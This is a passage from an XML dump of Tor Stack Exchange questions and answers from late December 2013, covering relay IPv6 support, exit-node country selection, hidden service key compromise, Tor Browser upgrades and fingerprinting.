RSA?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe there's a push to switch over to elliptic curve cryptography in the next version of the hidden services protocol.&#xA;Take that will a grain of salt though, someone else might know better.[2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt&lt;/a&gt; &lt;br/&gt;&#xA;  [2] &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/224-rend-spec-ng.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/224-rend-spec-ng.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-12-26T11:16:02.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1134" PostTypeId="1" CreationDate="2013-12-26T13:09:56.520" Score="2" ViewCount="1637" Body="&lt;p&gt;After upgrading to Tor 0.2.4.19 I configured a relay to support IPv6. I was a bit surprised to see nothing regarding IPv6 in the logs at startup, but I can see that Tor is binding to the configured IPv6 ports. As I don't see connections being made to Tor over IPv6, how can I verify that the relay is working with IPv6?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some kind of relay overview which shows IPv6-enabled relays?&lt;/p&gt;&#xA;" OwnerUserId="824" LastActivityDate="2014-01-22T22:06:24.500" Title="How do I verify that a relay is working with IPv6?" Tags="|relays|ipv6|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1135" PostTypeId="1" CreationDate="2013-12-26T13:13:33.057" Score="1" ViewCount="53" Body="&lt;p&gt;It is possible to change settings so Tor will not be able to connect on the IP's and Proxyes I was already connected?&lt;/p&gt;&#xA;" OwnerUserId="825" LastEditorUserId="923" LastEditDate="2014-03-04T23:41:16.420" LastActivityDate="2014-03-04T23:41:16.420" Title="Can I change settings in order to restrict Tor from accesing already used IP's of proxyes?" Tags="|relays|exit-relays|censorship|transparent-proxy|middle|" AnswerCount="2" CommentCount="1" ClosedDate="2014-04-11T14:12:21.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="1136" PostTypeId="1" CreationDate="2013-12-26T16:02:17.020" Score="1" ViewCount="4463" Body="&lt;p&gt;When I'm out of the country, I want to make it look like I'm still there without a different country IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and if so how please?&lt;/p&gt;&#xA;" OwnerUserId="826" LastActivityDate="2013-12-26T16:43:51.793" Title="Can I choose a particular country IP address range?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-27T15:28:39.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="1137" PostTypeId="2" ParentId="1136" CreationDate="2013-12-26T16:43:51.793" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;ExitNodes&lt;/code&gt; directive in your torrc to specify which exit nodes your Tor may use. You can specify exit nodes by ip/mask, by nick or fingerprint, or by country. You can specify a country using the country code in curly brackets: {us} for United States, {ch} for Switzerland, etc.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can enable &lt;code&gt;StrictNodes&lt;/code&gt; to make sure that Tor will stick to your specified exit nodes even if that means failure. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-26T16:43:51.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1138" PostTypeId="2" ParentId="1128" CreationDate="2013-12-26T17:33:50.763" Score="0" Body="&lt;p&gt;If you can connect to some/most sites but not all, then your Tor setup is healthy. (Unless you have added restrictions to your torrc, but I guess you have not.) Most likely explanation would be that these sites have blocked traffic from Tor exit nodes.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-26T17:33:50.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1141" PostTypeId="2" ParentId="465" CreationDate="2013-12-27T09:26:50.977" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Could you send an email from me@abcdefg.onion to you@hijklmnop.onion using standard mail programs and hidden services / transparent proxy?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes it could, but it wouldn't be with a standard Tor. (Unless some extra software was put in the middle of some of the connections somewhere.) Right now Tor's transparent proxy's DNS server returns NOTIMPL for MX queries.&#xA;This link might be of some use:&lt;br/&gt;&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10268&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/10268&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="829" LastEditorUserId="923" LastEditDate="2014-07-02T22:00:47.443" LastActivityDate="2014-07-02T22:00:47.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1142" PostTypeId="2" ParentId="242" CreationDate="2013-12-27T13:27:02.297" Score="1" Body="&lt;p&gt;I found a complete tutorial for Raspbian with prebuilt binaries for the latest version. Also, full instructions for building from source are provided.&#xA;You can catch them here: &lt;a href=&quot;http://unsuspectingbit.com/tutorial-private-anonymizing-proxy-raspberry-pi-tor-based/&quot; rel=&quot;nofollow&quot;&gt;http://unsuspectingbit.com/tutorial-private-anonymizing-proxy-raspberry-pi-tor-based/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[on Saturday11April2015 Seems to be a dead link: If anyone has a more current link or if the new owners of the domain haven't erased it and would put it back up.... Then there is the trust issue to deal with.  OOPS!  --Glenn]&lt;/p&gt;&#xA;" OwnerUserId="832" LastEditorUserId="7180" LastEditDate="2015-04-13T19:40:34.360" LastActivityDate="2015-04-13T19:40:34.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1143" PostTypeId="2" ParentId="733" CreationDate="2013-12-27T15:33:45.693" Score="26" Body="&lt;p&gt;The following excerpts from the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot;&gt;Tor Project Manual&lt;/a&gt; should tell you everything you need to know:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;ExitNodes node,node,…&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of identity fingerprints, nicknames, country codes and address patterns of nodes to use as exit node---that is, a node that&#xA;  delivers traffic for you outside the Tor network.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that if you list too few nodes here, or if you exclude too many exit nodes with ExcludeExitNodes, you can degrade functionality.&#xA;  For example, if none of the exits you list allows traffic on port 80&#xA;  or 443, you won’t be able to browse the web.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note also that not every circuit is used to deliver traffic outside of the Tor network. It is normal to see non-exit circuits&#xA;  (such as those used to connect to hidden services, those that do&#xA;  directory fetches, those used for relay reachability self-tests, and&#xA;  so on) that end at a non-exit node. To keep a node from being used&#xA;  entirely, see ExcludeNodes and StrictNodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The ExcludeNodes option overrides this option: any node listed in both ExitNodes and ExcludeNodes is treated as excluded.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The .exit address notation, if enabled via AllowDotExit, overrides this option.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To use a country code in the &lt;code&gt;ExitNodes&lt;/code&gt; line you specify its ISO country code in brackets. Eg. &lt;code&gt;ExitNodes {us}&lt;/code&gt; to use exit nodes in the United States.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;StrictNodes 0|1&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If StrictNodes is set to 1, Tor will treat the ExcludeNodes option as a requirement to follow for all the circuits you generate, even if&#xA;  doing so will break functionality for you. If StrictNodes is set to 0,&#xA;  Tor will still try to avoid nodes in the ExcludeNodes list, but it&#xA;  will err on the side of avoiding unexpected errors. Specifically,&#xA;  StrictNodes 0 tells Tor that it is okay to use an excluded node when&#xA;  it is &lt;strong&gt;necessary&lt;/strong&gt; to perform relay reachability self-tests, connect to a&#xA;  hidden service, provide a hidden service to a client, fulfill a .exit&#xA;  request, upload directory information, or download directory&#xA;  information. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-12-27T15:33:45.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1144" PostTypeId="1" CreationDate="2013-12-27T16:00:33.570" Score="2" ViewCount="155" Body="&lt;p&gt;When a hidden service private key got compromised and an adversary uses our hidden service to serve its own TCP stream can we detect it or can he do that silently or sniff on our hidden service's traffic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can an adversary do when he/she owns our private key?&lt;/p&gt;&#xA;" OwnerUserId="833" LastEditorUserId="923" LastEditDate="2014-03-04T23:41:07.917" LastActivityDate="2014-07-04T14:27:44.857" Title="What's the hidden services threat model after a key compromise?" Tags="|onion-services|threat-models|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1145" PostTypeId="1" CreationDate="2013-12-27T18:01:11.343" Score="1" ViewCount="4425" Body="&lt;p&gt;Is there a HTML5 extension for watching YouTube videos in the new Orweb browser for tablets, like used to be with the Bundle for PCs, all the while offering your computer to the ongoing Tor traffic?&lt;/p&gt;&#xA;" OwnerUserId="834" LastEditorUserId="71" LastEditDate="2013-12-27T19:32:03.127" LastActivityDate="2014-02-20T09:06:44.263" Title="YouTube HTML5 extension for Orbot/Orweb?" Tags="|orbot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1147" PostTypeId="2" ParentId="1144" CreationDate="2013-12-28T00:25:20.873" Score="4" Body="&lt;p&gt;The stolen key can be used to spoof your host. Traffic directed to the .onion will randomly go to your server or the person who stole it, even in the middle of a session. Once your key has be compromised you should replace it ASAP. I do not believe that it would allow the person with the key to read the traffic any easier. The best way to tell if some one else is listing for your .onion site is to take your server's Tor connection off line and try to load the .onion site. &lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="923" LastEditDate="2014-07-04T14:27:44.857" LastActivityDate="2014-07-04T14:27:44.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1149" PostTypeId="2" ParentId="1048" CreationDate="2013-12-28T00:42:43.540" Score="4" Body="&lt;p&gt;Short answer is no. It is possible to do so, but would very much lower the anonymous nature of your traffic. It would be best to run A relay node 24/7 to increase the amount of &quot;fast&quot; circuits that you connect to.     &lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2013-12-28T00:42:43.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1150" PostTypeId="2" ParentId="932" CreationDate="2013-12-28T00:50:16.950" Score="-1" Body="&lt;p&gt;This happens from Tor changing the exit relay and the server not being able to tell you are the same client from a different public IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a download manager like &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/downthemall/&quot; rel=&quot;nofollow&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/downthemall/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="71" LastEditDate="2013-12-28T19:31:07.070" LastActivityDate="2013-12-28T19:31:07.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1151" PostTypeId="2" ParentId="327" CreationDate="2013-12-28T05:55:05.170" Score="1" Body="&lt;p&gt;Yes you definitely can. You just have to install Privoxy to work with Tor as described by the answers in &lt;a href=&quot;https://stackoverflow.com/questions/9887505/changing-tor-identity-inside-python-script&quot;&gt;https://stackoverflow.com/questions/9887505/changing-tor-identity-inside-python-script&lt;/a&gt;. In case you don't want to configure anything, I wrote privoxyTor (Python, at &lt;a href=&quot;https://github.com/anhldbk/privoxyTor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/anhldbk/privoxyTor/&lt;/a&gt;) to make the configuration process easier. Hope this will help!&lt;/p&gt;&#xA;" OwnerUserId="839" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2013-12-28T05:55:05.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1152" PostTypeId="2" ParentId="1135" CreationDate="2013-12-28T12:14:51.923" Score="2" Body="&lt;p&gt;No, Tor has no direct support for tracking which middle or exit nodes you use.  It'd probably be a bad idea anyway.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-28T12:14:51.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1153" PostTypeId="1" CreationDate="2013-12-28T12:24:20.680" Score="5" ViewCount="7148" Body="&lt;p&gt;I have just upgraded to the Tor Browser Bundle version 3.5.  I overwrote my old Tor directory, which normally preserved my bookmarks.  With this upgrade, all of my bookmarks are gone. Is there anyway to restore them?&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="923" LastEditDate="2014-07-04T14:27:49.223" LastActivityDate="2015-04-04T21:06:50.573" Title="TBB upgrade: What happened to my bookmarks?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1154" PostTypeId="2" ParentId="1135" CreationDate="2013-12-28T13:23:43.520" Score="2" Body="&lt;p&gt;As Peter already said it is not supported and I think it would hurt anonymity and performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Tor would keep track of the exits it used and discards them as exits for later circuits it will run out of exits to use. This narrows down where you will exit. If an attacker, who has guards and exits, could make Tor create new circuits he will be able to correlate traffic. If Tor doesn't use high capacity exits because it ran out of them your performance will suffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with infinite plentiful resourced exits such an option should make your path selection easier to predict as you wouldn't return to the same middle node and/or exit.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-28T13:23:43.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1155" PostTypeId="2" ParentId="1153" CreationDate="2013-12-28T13:46:31.650" Score="6" Body="&lt;p&gt;The folder-structure between version 2.X and 3.X has changed. While the bookmarks were stored in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\Tor Browser2.X\FirefoxPortable\Data\profile&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they are now stored in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\Tor Browser3.5\Data\Browser\profile.default&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You better create a new folder for the new TorBrowserBundle and then copy the bookmarks over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is recommended to export the bookmarks, unpack the new bundle to a different or new folder, import the bookmarks and then remove the old bundle.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-28T13:46:31.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1157" PostTypeId="2" ParentId="352" CreationDate="2013-12-28T17:55:50.443" Score="1" Body="&lt;p&gt;You could run a Tahoe-LAFS grid inside Tor to have a distributed, plausible-denial filesystem. To serve this filesystem(s) over out-of-the-box webservers you might be interested in &lt;a href=&quot;https://tahoe-lafs.org/trac/tahoe-lafs/ticket/2144&quot; rel=&quot;nofollow&quot;&gt;https://tahoe-lafs.org/trac/tahoe-lafs/ticket/2144&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2013-12-28T17:55:50.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1158" PostTypeId="2" ParentId="628" CreationDate="2013-12-28T18:23:36.743" Score="0" Body="&lt;p&gt;You could run a Tahoe-LAFS grid inside Tor to have a distributed, plausible-denial filesystem. To serve this filesystem(s) over out-of-the-box webservers you might be interested in &lt;a href=&quot;https://tahoe-lafs.org/trac/tahoe-lafs/ticket/2144&quot; rel=&quot;nofollow&quot;&gt;https://tahoe-lafs.org/trac/tahoe-lafs/ticket/2144&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2013-12-28T18:23:36.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1159" PostTypeId="1" CreationDate="2013-12-28T20:13:47.590" Score="2" ViewCount="5357" Body="&lt;p&gt;Using the Tor Browser, one thing I've noticed while looking at the &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow&quot;&gt;EFF's Panopticon&lt;/a&gt; browser fingerprinting tool is that the screen size reported matches the dimensions of the browser window. While this makes sense in that it is ephemeral, it also results in some unique screen resolutions that are easily identifiable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a couple of questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Is there a tool to resize the Tor Browser to a specified screen resolution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Is there a way to force the Tor Browser to return a common screen resolution, regardless of actual browser size ? &lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-01-06T23:05:08.717" LastActivityDate="2014-09-16T21:33:15.507" Title="How to use a common screen size?" Tags="|tor-browser-bundle|fingerprinting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1160" PostTypeId="2" ParentId="13" CreationDate="2013-12-29T00:17:15.403" Score="0" Body="&lt;p&gt;File hosting could in theory be done distributedly by using Tahoe-LAFS:&#xA;&lt;a href=&quot;https://tahoe-lafs.org/trac/tahoe-lafs/ticket/2144&quot; rel=&quot;nofollow&quot;&gt;https://tahoe-lafs.org/trac/tahoe-lafs/ticket/2144&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2013-12-29T00:17:15.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1161" PostTypeId="1" CreationDate="2013-12-29T03:20:40.240" Score="3" ViewCount="1450" Body="&lt;p&gt;I only have 1mbps upspeed and can't host a hidden service from home, is it a good idea to use Amazon EC2? I already use it for other sites, but what about for a tor site.&lt;/p&gt;&#xA;" OwnerUserId="853" LastEditorUserId="923" LastEditDate="2014-03-05T19:26:34.643" LastActivityDate="2014-07-03T17:02:20.990" Title="Can I host a hidden service on Amazon EC2" Tags="|onion-services|ec2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1162" PostTypeId="2" ParentId="96" CreationDate="2013-12-29T03:22:12.440" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Doesn't the first server see who I am?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Possibly. A bad first of three servers can see encrypted Tor traffic coming from your computer.&#xA;It still doesn't know who you are and what you are doing over Tor. It&#xA;merely sees &amp;quot;This IP address is using Tor&amp;quot;. Tor is not illegal&#xA;anywhere in the world, so using Tor by itself is fine. You are still&#xA;protected from this node figuring out who you are and where you are&#xA;going on the Internet&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Torisdifferent&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the light of the last events:&#xA;&lt;a href=&quot;http://www.reuters.com/article/2013/12/20/us-usa-security-rsa-idUSBRE9BJ1C220131220&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exclusive: Secret contract tied NSA and security industry pioneer&#xA;SAN FRANCISCO Fri Dec 20, 2013 5:07pm EST&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Backdoored &lt;a href=&quot;https://en.wikipedia.org/wiki/Dual_EC_DRBG&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dual_EC_DRBG&lt;/a&gt;. &lt;a href=&quot;https://crypto.stackexchange.com/questions/10417/explaining-weakness-of-dual-ec-drbg-to-wider-audience&quot;&gt;crypto.stackexchange.com: Explaining weakness of Dual EC DRBG to wider audience?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, this backdoor was detected in November 15, 2007&#xA;&lt;a href=&quot;https://www.schneier.com/blog/archives/2007/11/the_strange_sto.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bruce Schneier's blog: The Strange Story of Dual_EC_DRBG&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Imagine, that NSA pay to Tor's dev team &lt;code&gt;10,000,000$ + 1$&lt;/code&gt; to inject kind of backdoor into their asymmetric crypto.&lt;/p&gt;&#xA;&lt;p&gt;Thereafter, they have no needs to stay as a Tor-node, even. Simply, record every connection through internet on every IX - &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_exchange_point&quot; rel=&quot;nofollow noreferrer&quot;&gt;An Internet exchange point&lt;/a&gt;. Pub-keys they can get from any Tor-Dir, and every names and IPs of Tor-nodes too.&lt;/p&gt;&#xA;&lt;p&gt;Your onion, thrice encrypted traffic, has not yet reached a &lt;code&gt;first server&lt;/code&gt;, it will be cracked on the &lt;code&gt;IX&lt;/code&gt;, your connection in that case is a plain-text connection. NSA could see your surfing as &lt;code&gt;Your &amp;lt;-&amp;gt; Server&lt;/code&gt;. Tor doesn't matter.&lt;/p&gt;&#xA;&lt;p&gt;However, FAQ of Tor &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Backdoor&quot; rel=&quot;nofollow noreferrer&quot;&gt;say&lt;/a&gt; the same that RSA team, Ron Rivest, Adi Shamir and Leonard Adleman told us about their crypto, before.&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-12-29T07:13:44.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1163" PostTypeId="2" ParentId="628" CreationDate="2013-12-29T06:36:49.543" Score="1" Body="&lt;p&gt;The sixth Immutable Law of Security states, &quot;A computer is only as secure as the administrator is trustworthy,&quot; so it is theoretically unsafe to host a service in a Tor relay, especially if you don't know the administrator. Actually, the same goes for any hosting service provider -- you never know who is working there -- but I'd be more worried trusting a Tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to execute encrypted code with &quot;Homomorphic Encryption.&quot; This is still under research and development and has been for the past decades, but there has been huge progress this year with its performance. Fujitsu thinks it can have commercial applications ready by 2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fujitsu.com/global/news/pr/archives/month/2013/20130828-01.html&quot; rel=&quot;nofollow&quot;&gt;http://www.fujitsu.com/global/news/pr/archives/month/2013/20130828-01.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge, homomorphic encryption can only protect confidentiality, so you'd still have to trust the administrator with integrity. The same problem remains though: if your IP is unmasked, your service can be physically taken down and your real identity is at huge risk (especially if you once logged in with your real IP or paid the host provider with your credit card.) A decentralized, peer-to-peer network would help in this case, but I think Tor shouldn't be involved. This deserves its own network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it should be implemented is a difficult question to answer. David C. Bishop's suggestion is one way of doing it (see his answer), but as mentioned, it is off-topic and not related to Tor, just anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to further discuss the possibility of creating an anonymous p2p host providing network. If anyone can suggest the appropriate place to take this discussion, please say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;amp; Thank you to mirimir and David C. Bishop. Your answers were very helpful. :)&lt;/p&gt;&#xA;" OwnerUserId="431" LastActivityDate="2013-12-29T06:36:49.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1165" PostTypeId="2" ParentId="1071" CreationDate="2013-12-29T08:48:46.930" Score="2" Body="&lt;p&gt;The TBB closing all tabs, clearing all cookies, etc. when you ask for a new identity is a feature.  The TBB itself does not support getting a new circuit just because you want one -- that's not one of its goals.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-29T08:48:46.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1166" PostTypeId="2" ParentId="1048" CreationDate="2013-12-29T08:52:30.290" Score="3" Body="&lt;p&gt;Tor itself seems to pick reasonable circuits these days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no support for picking a certain set of nodes based on the properties you want, and if there was, it's unclear if that'd help.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-29T08:52:30.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1167" PostTypeId="2" ParentId="805" CreationDate="2013-12-29T09:04:19.653" Score="5" Body="&lt;p&gt;It's complicated.  There are many reasons Tor builds circuits preemtively: access hidden services, provide them, exit to any ports that you may want to use (based on recent behavior) and also measuring the network to determine what latency/circuit build times to expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.20:/src/or/circuituse.c#l857&quot;&gt;&lt;code&gt;circuit_predict_and_launch_new()&lt;/code&gt;&lt;/a&gt; has all the gory details.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-29T09:04:19.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1168" PostTypeId="2" ParentId="1161" CreationDate="2013-12-29T12:27:47.043" Score="3" Body="&lt;p&gt;There's probably no reason why that wouldn't work.  There already are tor bridge relays in EC2, using Tor to provide a hidden service probably would also Just Work.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-29T12:27:47.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1172" PostTypeId="2" ParentId="1145" CreationDate="2013-12-29T19:52:41.093" Score="1" Body="&lt;p&gt;Support for HTML5 has been removed from Orweb, because it contains security leaks (possible to get users' IPs) - &lt;a href=&quot;https://guardianproject.info/2013/08/21/orweb-security-advisory-possible-ip-leakage-with-html5-videoaudio/&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt; . You can use Firefox for Mobile and &lt;a href=&quot;https://guardianproject.info/apps/proxymob/&quot; rel=&quot;nofollow&quot;&gt;ProxyMob&lt;/a&gt; extension to it. &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-29T19:52:41.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1173" PostTypeId="2" ParentId="1159" CreationDate="2013-12-29T23:49:04.410" Score="1" Body="&lt;p&gt;So far the best I've found is a firefox plugin, but it is of unknown origin and maybe not trustworthy.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/firesizer/&quot; rel=&quot;nofollow&quot;&gt;Firesizer&lt;/a&gt; - this provides details on current screen size but I have no found a way to set the size)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also stumbled across &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/stopfingerprinting/?src=search&quot; rel=&quot;nofollow&quot;&gt;Stop Fingerprinting&lt;/a&gt;, which I had high hopes for but apparently it is just gathering data for another site (apparently INRIA) and provides no functionality or protection. In fact, this is probably a deanonymization threat and should not be used with Tor at all.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2013-12-31T00:58:52.237" LastActivityDate="2013-12-31T00:58:52.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1174" PostTypeId="1" CreationDate="2013-12-30T00:20:03.780" Score="4" ViewCount="1204" Body="&lt;p&gt;My relay '&lt;a href=&quot;https://globe.torproject.org/#/relay/6CC487F99A938B88A76ACC4058832DA2E797681C&quot; rel=&quot;noreferrer&quot;&gt;angrykitteh&lt;/a&gt;' (the kitten is now quite frustrated!) was blessed and granted the flag 'Guard' by the Directory Authorities as its uptime is more than 8 days and the bandwidth is deemed acceptable and fast enough. Great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The atlas &lt;a href=&quot;https://globe.torproject.org/#/relay/6CC487F99A938B88A76ACC4058832DA2E797681C&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt; given shows a slight peak in the 'Guard probability' but dropped immediately afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suddenly, only an hour (or two) after being granted the flag, it was gone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the consensus now, after I discovered the flag was gone:&#xA;&lt;a href=&quot;http://s21.postimg.org/6r6kywl5h/2013_12_30_001800_1105x134_scrot.png&quot; rel=&quot;noreferrer&quot;&gt;consensus after my Guard flag disappeared http://s21.postimg.org/6r6kywl5h/2013_12_30_001800_1105x134_scrot.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why was the flag removed? Why are some authorities still voting to give me it? What changed?&lt;/p&gt;&#xA;" OwnerUserId="860" LastActivityDate="2013-12-30T23:43:09.193" Title="Why was my relay given the Guard flag only for it to be removed an hour+ later?" Tags="|relays|guard|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
